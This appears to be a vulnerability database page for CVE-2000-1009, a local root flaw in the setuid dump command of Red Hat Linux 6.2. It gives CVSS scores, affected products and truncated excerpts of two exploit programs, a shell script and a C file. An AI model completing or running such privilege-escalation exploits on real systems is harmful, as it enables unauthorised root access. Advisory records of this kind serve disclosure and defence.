7.2
CVSSv2

CVE-2000-1009

Published: 11/12/2000 Updated: 19/12/2017
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
VMScore: 730
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

dump in Red Hat Linux 6.2 trusts the pathname specified by the RSH environmental variable, which allows local users to obtain root privileges by modifying the RSH variable to point to a Trojan horse program.

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redhat linux 6.2

trustix secure linux 1.1

Exploits

#!/bin/sh # Redhat 62 dump command executes external program # with suid priviledge # Discovered by Mat <mat@hackswarecom> # Written for and by a scriptkid Tasc ;P # Remember, there's no cure for BSE echo "dump-04b15 root exploit" echo "Discovered by Mat <mat@hackswarecom>" echo "-------------------------------------" echo DUMP= ...
/* ** ** dump-04b15xc ** ** dump-04b15 exploit: ** Redhat 62 dump command executes ** external program with suid priviledge ** ** affected: ** /sbin/dump ** /sbin/dumpstatic ** /sbin/restore ** /sbin/restorestatic ** ** Bug found by mat@hackswarecom ** ** This example was coded by md0claes@mdstudchalmersse ** It wa ...